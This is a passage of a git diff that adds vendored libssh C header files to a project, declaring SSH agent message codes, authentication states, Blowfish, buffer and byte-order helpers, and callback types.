+#define SSH_AGENTC_ADD_RSA_IDENTITY 7 +#define SSH_AGENTC_REMOVE_RSA_IDENTITY 8 +#define SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES 9 + +/* private OpenSSH extensions for SSH2 */ +#define SSH2_AGENTC_REQUEST_IDENTITIES 11 +#define SSH2_AGENT_IDENTITIES_ANSWER 12 +#define SSH2_AGENTC_SIGN_REQUEST 13 +#define SSH2_AGENT_SIGN_RESPONSE 14 +#define SSH2_AGENTC_ADD_IDENTITY 17 +#define SSH2_AGENTC_REMOVE_IDENTITY 18 +#define SSH2_AGENTC_REMOVE_ALL_IDENTITIES 19 + +/* smartcard */ +#define SSH_AGENTC_ADD_SMARTCARD_KEY 20 +#define SSH_AGENTC_REMOVE_SMARTCARD_KEY 21 + +/* lock/unlock the agent */ +#define SSH_AGENTC_LOCK 22 +#define SSH_AGENTC_UNLOCK 23 + +/* add key with constraints */ +#define SSH_AGENTC_ADD_RSA_ID_CONSTRAINED 24 +#define SSH2_AGENTC_ADD_ID_CONSTRAINED 25 +#define SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED 26 + +#define SSH_AGENT_CONSTRAIN_LIFETIME 1 +#define SSH_AGENT_CONSTRAIN_CONFIRM 2 + +/* extended failure messages */ +#define SSH2_AGENT_FAILURE 30 + +/* additional error code for ssh.com's ssh-agent2 */ +#define SSH_COM_AGENT2_FAILURE 102 + +#define SSH_AGENT_OLD_SIGNATURE 0x01 +/* Signature flags from draft-miller-ssh-agent-02 */ +#define SSH_AGENT_RSA_SHA2_256 0x02 +#define SSH_AGENT_RSA_SHA2_512 0x04 + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_agent_struct { + struct ssh_socket_struct *sock; + ssh_buffer ident; + unsigned int count; + ssh_channel channel; +}; + +/* agent.c */ +/** + * @brief Create a new ssh agent structure. + * + * @return An allocated ssh agent structure or NULL on error. + */ +struct ssh_agent_struct *ssh_agent_new(struct ssh_session_struct *session); + +void ssh_agent_close(struct ssh_agent_struct *agent); + +/** + * @brief Free an allocated ssh agent structure. + * + * @param agent The ssh agent structure to free. + */ +void ssh_agent_free(struct ssh_agent_struct *agent); + +/** + * @brief Check if the ssh agent is running. + * + * @param session The ssh session to check for the agent. + * + * @return 1 if it is running, 0 if not. + */ +int ssh_agent_is_running(struct ssh_session_struct *session); + +uint32_t ssh_agent_get_ident_count(struct ssh_session_struct *session); + +ssh_key ssh_agent_get_next_ident(struct ssh_session_struct *session, + char **comment); + +ssh_key ssh_agent_get_first_ident(struct ssh_session_struct *session, + char **comment); + +ssh_string ssh_agent_sign_data(ssh_session session, + const ssh_key pubkey, + struct ssh_buffer_struct *data); + +#ifdef __cplusplus +} +#endif + +#endif /* __AGENT_H */ diff --git a/vendor/libssh/include/libssh/auth.h b/vendor/libssh/include/libssh/auth.h new file mode 100644 index 0000000..b358b7a --- /dev/null +++ b/vendor/libssh/include/libssh/auth.h @@ -0,0 +1,111 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef AUTH_H_ +#define AUTH_H_ +#include "config.h" +#include "libssh/callbacks.h" + +#ifdef __cplusplus +extern "C" { +#endif + +SSH_PACKET_CALLBACK(ssh_packet_userauth_banner); +SSH_PACKET_CALLBACK(ssh_packet_userauth_failure); +SSH_PACKET_CALLBACK(ssh_packet_userauth_success); +SSH_PACKET_CALLBACK(ssh_packet_userauth_pk_ok); +SSH_PACKET_CALLBACK(ssh_packet_userauth_info_request); +SSH_PACKET_CALLBACK(ssh_packet_userauth_info_response); + +/** @internal + * kdbint structure must be shared with message.c + * and server.c + */ +struct ssh_kbdint_struct { + uint32_t nprompts; + uint32_t nanswers; + char *name; + char *instruction; + char **prompts; + unsigned char *echo; /* bool array */ + char **answers; +}; +typedef struct ssh_kbdint_struct* ssh_kbdint; + +ssh_kbdint ssh_kbdint_new(void); +void ssh_kbdint_clean(ssh_kbdint kbd); +void ssh_kbdint_free(ssh_kbdint kbd); + +/** @internal + * States of authentication in the client-side. They describe + * what was the last response from the server + */ +enum ssh_auth_state_e { + /** No authentication asked */ + SSH_AUTH_STATE_NONE=0, + /** Last authentication response was a partial success */ + SSH_AUTH_STATE_PARTIAL, + /** Last authentication response was a success */ + SSH_AUTH_STATE_SUCCESS, + /** Last authentication response was failed */ + SSH_AUTH_STATE_FAILED, + /** Last authentication was erroneous */ + SSH_AUTH_STATE_ERROR, + /** Last state was a keyboard-interactive ask for info */ + SSH_AUTH_STATE_INFO, + /** Last state was a public key accepted for authentication */ + SSH_AUTH_STATE_PK_OK, + /** We asked for a keyboard-interactive authentication */ + SSH_AUTH_STATE_KBDINT_SENT, + /** We have sent an userauth request with gssapi-with-mic */ + SSH_AUTH_STATE_GSSAPI_REQUEST_SENT, + /** We are exchanging tokens until authentication */ + SSH_AUTH_STATE_GSSAPI_TOKEN, + /** We have sent the MIC and expecting to be authenticated */ + SSH_AUTH_STATE_GSSAPI_MIC_SENT, + /** We have offered a pubkey to check if it is supported */ + SSH_AUTH_STATE_PUBKEY_OFFER_SENT, + /** We have sent pubkey and signature expecting to be authenticated */ + SSH_AUTH_STATE_PUBKEY_AUTH_SENT, + /** We have sent a password expecting to be authenticated */ + SSH_AUTH_STATE_PASSWORD_AUTH_SENT, + /** We have sent a request without auth information (method 'none') */ + SSH_AUTH_STATE_AUTH_NONE_SENT, +}; + +/** @internal + * @brief states of the authentication service request + */ +enum ssh_auth_service_state_e { + /** initial state */ + SSH_AUTH_SERVICE_NONE=0, + /** Authentication service request packet sent */ + SSH_AUTH_SERVICE_SENT, + /** Service accepted */ + SSH_AUTH_SERVICE_ACCEPTED, + /** Access to service denied (fatal) */ + SSH_AUTH_SERVICE_DENIED, +}; + +#ifdef __cplusplus +} +#endif + +#endif /* AUTH_H_ */ diff --git a/vendor/libssh/include/libssh/bignum.h b/vendor/libssh/include/libssh/bignum.h new file mode 100644 index 0000000..6b5dc1a --- /dev/null +++ b/vendor/libssh/include/libssh/bignum.h @@ -0,0 +1,40 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2014 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef BIGNUM_H_ +#define BIGNUM_H_ + +#include "libssh/libcrypto.h" +#include "libssh/libgcrypt.h" +#include "libssh/libmbedcrypto.h" + +#ifdef __cplusplus +extern "C" { +#endif + +bignum ssh_make_string_bn(ssh_string string); +ssh_string ssh_make_bignum_string(bignum num); +void ssh_print_bignum(const char *which, const_bignum num); + +#ifdef __cplusplus +} +#endif + +#endif /* BIGNUM_H_ */ diff --git a/vendor/libssh/include/libssh/bind.h b/vendor/libssh/include/libssh/bind.h new file mode 100644 index 0000000..56f97f2 --- /dev/null +++ b/vendor/libssh/include/libssh/bind.h @@ -0,0 +1,68 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef BIND_H_ +#define BIND_H_ + +#include "libssh/priv.h" +#include "libssh/kex.h" +#include "libssh/session.h" + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_bind_struct { + struct ssh_common_struct common; /* stuff common to ssh_bind and ssh_session */ + struct ssh_bind_callbacks_struct *bind_callbacks; + void *bind_callbacks_userdata; + + struct ssh_poll_handle_struct *poll; + /* options */ + char *wanted_methods[SSH_KEX_METHODS]; + char *banner; + char *ecdsakey; + char *dsakey; + char *rsakey; + char *ed25519key; + ssh_key ecdsa; + ssh_key dsa; + ssh_key rsa; + ssh_key ed25519; + char *bindaddr; + socket_t bindfd; + unsigned int bindport; + int blocking; + int toaccept; + bool config_processed; + char *config_dir; + char *pubkey_accepted_key_types; + char* moduli_file; + int rsa_min_size; +}; + +struct ssh_poll_handle_struct *ssh_bind_get_poll(struct ssh_bind_struct + *sshbind); + +#ifdef __cplusplus +} +#endif + +#endif /* BIND_H_ */ diff --git a/vendor/libssh/include/libssh/bind_config.h b/vendor/libssh/include/libssh/bind_config.h new file mode 100644 index 0000000..5f2dccc --- /dev/null +++ b/vendor/libssh/include/libssh/bind_config.h @@ -0,0 +1,82 @@ +/* + * bind_config.h - Parse the SSH server configuration file + * + * This file is part of the SSH Library + * + * Copyright (c) 2019 by Red Hat, Inc. + * + * Author: Anderson Toshiyuki Sasaki + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef BIND_CONFIG_H_ +#define BIND_CONFIG_H_ + +#include "libssh/server.h" + +#ifdef __cplusplus +extern "C" { +#endif + +enum ssh_bind_config_opcode_e { + /* Known but not allowed in Match block */ + BIND_CFG_NOT_ALLOWED_IN_MATCH = -4, + /* Unknown opcode */ + BIND_CFG_UNKNOWN = -3, + /* Known and not applicable to libssh */ + BIND_CFG_NA = -2, + /* Known but not supported by current libssh version */ + BIND_CFG_UNSUPPORTED = -1, + BIND_CFG_INCLUDE, + BIND_CFG_HOSTKEY, + BIND_CFG_LISTENADDRESS, + BIND_CFG_PORT, + BIND_CFG_LOGLEVEL, + BIND_CFG_CIPHERS, + BIND_CFG_MACS, + BIND_CFG_KEXALGORITHMS, + BIND_CFG_MATCH, + BIND_CFG_PUBKEY_ACCEPTED_KEY_TYPES, + BIND_CFG_HOSTKEY_ALGORITHMS, + + BIND_CFG_MAX /* Keep this one last in the list */ +}; + +/* @brief Parse configuration file and set the options to the given ssh_bind + * + * @params[in] sshbind The ssh_bind context to be configured + * @params[in] filename The path to the configuration file + * + * @returns 0 on successful parsing the configuration file, -1 on error + */ +int ssh_bind_config_parse_file(ssh_bind sshbind, const char *filename); + +/* @brief Parse configuration string and set the options to the given bind session + * + * @params[in] bind The ssh bind session + * @params[in] input Null terminated string containing the configuration + * + * @returns SSH_OK on successful parsing the configuration string, + * SSH_ERROR on error + */ +int ssh_bind_config_parse_string(ssh_bind bind, const char *input); + +#ifdef __cplusplus +} +#endif + +#endif /* BIND_CONFIG_H_ */ diff --git a/vendor/libssh/include/libssh/blf.h b/vendor/libssh/include/libssh/blf.h new file mode 100644 index 0000000..201821a --- /dev/null +++ b/vendor/libssh/include/libssh/blf.h @@ -0,0 +1,96 @@ +/* $OpenBSD: blf.h,v 1.7 2007/03/14 17:59:41 grunk Exp $ */ +/* + * Blowfish - a fast block cipher designed by Bruce Schneier + * + * Copyright 1997 Niels Provos + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Niels Provos. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _BLF_H_ +#define _BLF_H_ + +//#include "includes.h" + +#if !defined(HAVE_BCRYPT_PBKDF) && !defined(HAVE_BLH_H) + +/* Schneier specifies a maximum key length of 56 bytes. + * This ensures that every key bit affects every cipher + * bit. However, the subkeys can hold up to 72 bytes. + * Warning: For normal blowfish encryption only 56 bytes + * of the key affect all cipherbits. + */ + +#define BLF_N 16 /* Number of Subkeys */ +#define BLF_MAXKEYLEN ((BLF_N-2)*4) /* 448 bits */ +#define BLF_MAXUTILIZED ((BLF_N+2)*4) /* 576 bits */ + +#ifdef __cplusplus +extern "C" { +#endif + +/* Blowfish context */ +typedef struct BlowfishContext { + uint32_t S[4][256]; /* S-Boxes */ + uint32_t P[BLF_N + 2]; /* Subkeys */ +} ssh_blf_ctx; + +/* Raw access to customized Blowfish + * blf_key is just: + * Blowfish_initstate( state ) + * Blowfish_expand0state( state, key, keylen ) + */ + +void Blowfish_encipher(ssh_blf_ctx *, uint32_t *, uint32_t *); +void Blowfish_decipher(ssh_blf_ctx *, uint32_t *, uint32_t *); +void Blowfish_initstate(ssh_blf_ctx *); +void Blowfish_expand0state(ssh_blf_ctx *, const uint8_t *, uint16_t); +void Blowfish_expandstate +(ssh_blf_ctx *, const uint8_t *, uint16_t, const uint8_t *, uint16_t); + +/* Standard Blowfish */ + +void ssh_blf_key(ssh_blf_ctx *, const uint8_t *, uint16_t); +void ssh_blf_enc(ssh_blf_ctx *, uint32_t *, uint16_t); +void ssh_blf_dec(ssh_blf_ctx *, uint32_t *, uint16_t); + +void ssh_blf_ecb_encrypt(ssh_blf_ctx *, uint8_t *, uint32_t); +void ssh_blf_ecb_decrypt(ssh_blf_ctx *, uint8_t *, uint32_t); + +void ssh_blf_cbc_encrypt(ssh_blf_ctx *, uint8_t *, uint8_t *, uint32_t); +void ssh_blf_cbc_decrypt(ssh_blf_ctx *, uint8_t *, uint8_t *, uint32_t); + +/* Converts uint8_t to uint32_t */ +uint32_t Blowfish_stream2word(const uint8_t *, uint16_t , uint16_t *); + +#endif /* !defined(HAVE_BCRYPT_PBKDF) && !defined(HAVE_BLH_H) */ + +#ifdef __cplusplus +} +#endif + +#endif /* _BLF_H */ diff --git a/vendor/libssh/include/libssh/buffer.h b/vendor/libssh/include/libssh/buffer.h new file mode 100644 index 0000000..1fce7b7 --- /dev/null +++ b/vendor/libssh/include/libssh/buffer.h @@ -0,0 +1,85 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef BUFFER_H_ +#define BUFFER_H_ + +#include + +#include "libssh/libssh.h" + +#define SSH_BUFFER_PACK_END ((uint32_t) 0x4f65feb3) + +#ifdef __cplusplus +extern "C" { +#endif + +void ssh_buffer_set_secure(ssh_buffer buffer); +int ssh_buffer_add_ssh_string(ssh_buffer buffer, ssh_string string); +int ssh_buffer_add_u8(ssh_buffer buffer, uint8_t data); +int ssh_buffer_add_u16(ssh_buffer buffer, uint16_t data); +int ssh_buffer_add_u32(ssh_buffer buffer, uint32_t data); +int ssh_buffer_add_u64(ssh_buffer buffer, uint64_t data); + +int ssh_buffer_validate_length(struct ssh_buffer_struct *buffer, size_t len); + +void *ssh_buffer_allocate(struct ssh_buffer_struct *buffer, uint32_t len); +int ssh_buffer_allocate_size(struct ssh_buffer_struct *buffer, uint32_t len); +int ssh_buffer_pack_va(struct ssh_buffer_struct *buffer, + const char *format, + size_t argc, + va_list ap); +int _ssh_buffer_pack(struct ssh_buffer_struct *buffer, + const char *format, + size_t argc, + ...); +#define ssh_buffer_pack(buffer, format, ...) \ + _ssh_buffer_pack((buffer), (format), __VA_NARG__(__VA_ARGS__), __VA_ARGS__, SSH_BUFFER_PACK_END) + +int ssh_buffer_unpack_va(struct ssh_buffer_struct *buffer, + const char *format, size_t argc, + va_list ap); +int _ssh_buffer_unpack(struct ssh_buffer_struct *buffer, + const char *format, + size_t argc, + ...); +#define ssh_buffer_unpack(buffer, format, ...) \ + _ssh_buffer_unpack((buffer), (format), __VA_NARG__(__VA_ARGS__), __VA_ARGS__, SSH_BUFFER_PACK_END) + +int ssh_buffer_prepend_data(ssh_buffer buffer, const void *data, uint32_t len); +int ssh_buffer_add_buffer(ssh_buffer buffer, ssh_buffer source); + +/* buffer_read_*() returns the number of bytes read, except for ssh strings */ +uint32_t ssh_buffer_get_u8(ssh_buffer buffer, uint8_t *data); +uint32_t ssh_buffer_get_u32(ssh_buffer buffer, uint32_t *data); +uint32_t ssh_buffer_get_u64(ssh_buffer buffer, uint64_t *data); + +/* ssh_buffer_get_ssh_string() is an exception. if the String read is too large or invalid, it will answer NULL. */ +ssh_string ssh_buffer_get_ssh_string(ssh_buffer buffer); + +/* ssh_buffer_pass_bytes acts as if len bytes have been read (used for padding) */ +uint32_t ssh_buffer_pass_bytes_end(ssh_buffer buffer, uint32_t len); +uint32_t ssh_buffer_pass_bytes(ssh_buffer buffer, uint32_t len); + +#ifdef __cplusplus +} +#endif + +#endif /* BUFFER_H_ */ diff --git a/vendor/libssh/include/libssh/bytearray.h b/vendor/libssh/include/libssh/bytearray.h new file mode 100644 index 0000000..0c0690d --- /dev/null +++ b/vendor/libssh/include/libssh/bytearray.h @@ -0,0 +1,90 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2018 Andreas Schneider + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef _BYTEARRAY_H +#define _BYTEARRAY_H + +#define _DATA_BYTE_CONST(data, pos) \ + ((uint8_t)(((const uint8_t *)(data))[(pos)])) + +#define _DATA_BYTE(data, pos) \ + (((uint8_t *)(data))[(pos)]) + +/* + * These macros pull or push integer values from byte arrays stored in + * little-endian byte order. + */ +#define PULL_LE_U8(data, pos) \ + (_DATA_BYTE_CONST(data, pos)) + +#define PULL_LE_U16(data, pos) \ + ((uint16_t)PULL_LE_U8(data, pos) | ((uint16_t)(PULL_LE_U8(data, (pos) + 1))) << 8) + +#define PULL_LE_U32(data, pos) \ + ((uint32_t)(PULL_LE_U16(data, pos) | ((uint32_t)PULL_LE_U16(data, (pos) + 2)) << 16)) + +#define PULL_LE_U64(data, pos) \ + ((uint64_t)(PULL_LE_U32(data, pos) | ((uint64_t)PULL_LE_U32(data, (pos) + 4)) << 32)) + + +#define PUSH_LE_U8(data, pos, val) \ + (_DATA_BYTE(data, pos) = ((uint8_t)(val))) + +#define PUSH_LE_U16(data, pos, val) \ + (PUSH_LE_U8((data), (pos), (uint8_t)((uint16_t)(val) & 0xff)), PUSH_LE_U8((data), (pos) + 1, (uint8_t)((uint16_t)(val) >> 8))) + +#define PUSH_LE_U32(data, pos, val) \ + (PUSH_LE_U16((data), (pos), (uint16_t)((uint32_t)(val) & 0xffff)), PUSH_LE_U16((data), (pos) + 2, (uint16_t)((uint32_t)(val) >> 16))) + +#define PUSH_LE_U64(data, pos, val) \ + (PUSH_LE_U32((data), (pos), (uint32_t)((uint64_t)(val) & 0xffffffff)), PUSH_LE_U32((data), (pos) + 4, (uint32_t)((uint64_t)(val) >> 32))) + + + +/* + * These macros pull or push integer values from byte arrays stored in + * big-endian byte order (network byte order). + */ +#define PULL_BE_U8(data, pos) \ + (_DATA_BYTE_CONST(data, pos)) + +#define PULL_BE_U16(data, pos) \ + ((((uint16_t)(PULL_BE_U8(data, pos))) << 8) | (uint16_t)PULL_BE_U8(data, (pos) + 1)) + +#define PULL_BE_U32(data, pos) \ + ((((uint32_t)PULL_BE_U16(data, pos)) << 16) | (uint32_t)(PULL_BE_U16(data, (pos) + 2))) + +#define PULL_BE_U64(data, pos) \ + ((((uint64_t)PULL_BE_U32(data, pos)) << 32) | (uint64_t)(PULL_BE_U32(data, (pos) + 4))) + + + +#define PUSH_BE_U8(data, pos, val) \ + (_DATA_BYTE(data, pos) = ((uint8_t)(val))) + +#define PUSH_BE_U16(data, pos, val) \ + (PUSH_BE_U8((data), (pos), (uint8_t)(((uint16_t)(val)) >> 8)), PUSH_BE_U8((data), (pos) + 1, (uint8_t)((val) & 0xff))) + +#define PUSH_BE_U32(data, pos, val) \ + (PUSH_BE_U16((data), (pos), (uint16_t)(((uint32_t)(val)) >> 16)), PUSH_BE_U16((data), (pos) + 2, (uint16_t)((val) & 0xffff))) + +#define PUSH_BE_U64(data, pos, val) \ + (PUSH_BE_U32((data), (pos), (uint32_t)(((uint64_t)(val)) >> 32)), PUSH_BE_U32((data), (pos) + 4, (uint32_t)((val) & 0xffffffff))) + +#endif /* _BYTEARRAY_H */ diff --git a/vendor/libssh/include/libssh/callbacks.h b/vendor/libssh/include/libssh/callbacks.h new file mode 100644 index 0000000..8ccc051 --- /dev/null +++ b/vendor/libssh/include/libssh/callbacks.h @@ -0,0 +1,1027 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* callback.h + * This file includes the public declarations for the libssh callback mechanism + */ + +#ifndef _SSH_CALLBACK_H +#define _SSH_CALLBACK_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @defgroup libssh_callbacks The libssh callbacks + * @ingroup libssh + * + * Callback which can be replaced in libssh. + * + * @{ + */ + +/** @internal + * @brief callback to process simple codes + * @param code value to transmit + * @param user Userdata to pass in callback + */ +typedef void (*ssh_callback_int) (int code, void *user); + +/** @internal + * @brief callback for data received messages. + * @param data data retrieved from the socket or stream + * @param len number of bytes available from this stream + * @param user user-supplied pointer sent along with all callback messages + * @returns number of bytes processed by the callee. The remaining bytes will + * be sent in the next callback message, when more data is available. + */ +typedef size_t (*ssh_callback_data) (const void *data, size_t len, void *user); + +typedef void (*ssh_callback_int_int) (int code, int errno_code, void *user); + +typedef int (*ssh_message_callback) (ssh_session, ssh_message message, void *user); +typedef int (*ssh_channel_callback_int) (ssh_channel channel, int code, void *user); +typedef int (*ssh_channel_callback_data) (ssh_channel channel, int code, void *data, size_t len, void *user); + +/** + * @brief SSH log callback. All logging messages will go through this callback + * @param session Current session handler + * @param priority Priority of the log, the smaller being the more important + * @param message the actual message + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_log_callback) (ssh_session session, int priority, + const char *message, void *userdata); + +/** + * @brief SSH log callback. + * + * All logging messages will go through this callback. + * + * @param priority Priority of the log, the smaller being the more important. + * + * @param function The function name calling the logging functions. + * + * @param buffer The actual message + * + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_logging_callback) (int priority, + const char *function, + const char *buffer, + void *userdata); + +/** + * @brief SSH Connection status callback. + * @param session Current session handler + * @param status Percentage of connection status, going from 0.0 to 1.0 + * once connection is done. + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_status_callback) (ssh_session session, float status, + void *userdata); + +/** + * @brief SSH global request callback. All global request will go through this + * callback. + * @param session Current session handler + * @param message the actual message + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_global_request_callback) (ssh_session session, + ssh_message message, void *userdata); + +/** + * @brief Handles an SSH new channel open X11 request. This happens when the server + * sends back an X11 connection attempt. This is a client-side API + * @param session current session handler + * @param userdata Userdata to be passed to the callback function. + * @param originator_address IP address of the machine who sent the request + * @param originator_port port number of the machine who sent the request + * @returns a valid ssh_channel handle if the request is to be allowed + * @returns NULL if the request should not be allowed + * @warning The channel pointer returned by this callback must be closed by the application. + */ +typedef ssh_channel (*ssh_channel_open_request_x11_callback) (ssh_session session, + const char * originator_address, int originator_port, void *userdata); + +/** + * @brief Handles an SSH new channel open "auth-agent" request. This happens when the server + * sends back an "auth-agent" connection attempt. This is a client-side API + * @param session current session handler + * @param userdata Userdata to be passed to the callback function. + * @returns a valid ssh_channel handle if the request is to be allowed + * @returns NULL if the request should not be allowed + * @warning The channel pointer returned by this callback must be closed by the application. + */ +typedef ssh_channel (*ssh_channel_open_request_auth_agent_callback) (ssh_session session, + void *userdata); + +/** + * The structure to replace libssh functions with appropriate callbacks. + */ +struct ssh_callbacks_struct { + /** DON'T SET THIS use ssh_callbacks_init() instead. */ + size_t size; + /** + * User-provided data. User is free to set anything he wants here + */ + void *userdata; + /** + * This functions will be called if e.g. a keyphrase is needed. + */ + ssh_auth_callback auth_function; + /** + * This function will be called each time a loggable event happens. + */ + ssh_log_callback log_function; + /** + * This function gets called during connection time to indicate the + * percentage of connection steps completed. + */ + void (*connect_status_function)(void *userdata, float status); + /** + * This function will be called each time a global request is received. + */ + ssh_global_request_callback global_request_function; + /** This function will be called when an incoming X11 request is received. + */ + ssh_channel_open_request_x11_callback channel_open_request_x11_function; + /** This function will be called when an incoming "auth-agent" request is received. + */ + ssh_channel_open_request_auth_agent_callback channel_open_request_auth_agent_function; +}; +typedef struct ssh_callbacks_struct *ssh_callbacks; + +/** These are callbacks used specifically in SSH servers. + */ + +/** + * @brief SSH authentication callback. + * @param session Current session handler + * @param user User that wants to authenticate + * @param password Password used for authentication + * @param userdata Userdata to be passed to the callback function. + * @returns SSH_AUTH_SUCCESS Authentication is accepted. + * @returns SSH_AUTH_PARTIAL Partial authentication, more authentication means are needed. + * @returns SSH_AUTH_DENIED Authentication failed. + */ +typedef int (*ssh_auth_password_callback) (ssh_session session, const char *user, const char *password, + void *userdata); + +/** + * @brief SSH authentication callback. Tries to authenticates user with the "none" method + * which is anonymous or passwordless. + * @param session Current session handler + * @param user User that wants to authenticate + * @param userdata Userdata to be passed to the callback function. + * @returns SSH_AUTH_SUCCESS Authentication is accepted. + * @returns SSH_AUTH_PARTIAL Partial authentication, more authentication means are needed. + * @returns SSH_AUTH_DENIED Authentication failed. + */ +typedef int (*ssh_auth_none_callback) (ssh_session session, const char *user, void *userdata); + +/** + * @brief SSH authentication callback. Tries to authenticates user with the "gssapi-with-mic" method + * @param session Current session handler + * @param user Username of the user (can be spoofed) + * @param principal Authenticated principal of the user, including realm. + * @param userdata Userdata to be passed to the callback function. + * @returns SSH_AUTH_SUCCESS Authentication is accepted. + * @returns SSH_AUTH_PARTIAL Partial authentication, more authentication means are needed. + * @returns SSH_AUTH_DENIED Authentication failed. + * @warning Implementations should verify that parameter user matches in some way the principal. + * user and principal can be different. Only the latter is guaranteed to be safe. + */ +typedef int (*ssh_auth_gssapi_mic_callback) (ssh_session session, const char *user, const char *principal, + void *userdata); + +/** + * @brief SSH authentication callback. + * @param session Current session handler + * @param user User that wants to authenticate + * @param pubkey public key used for authentication + * @param 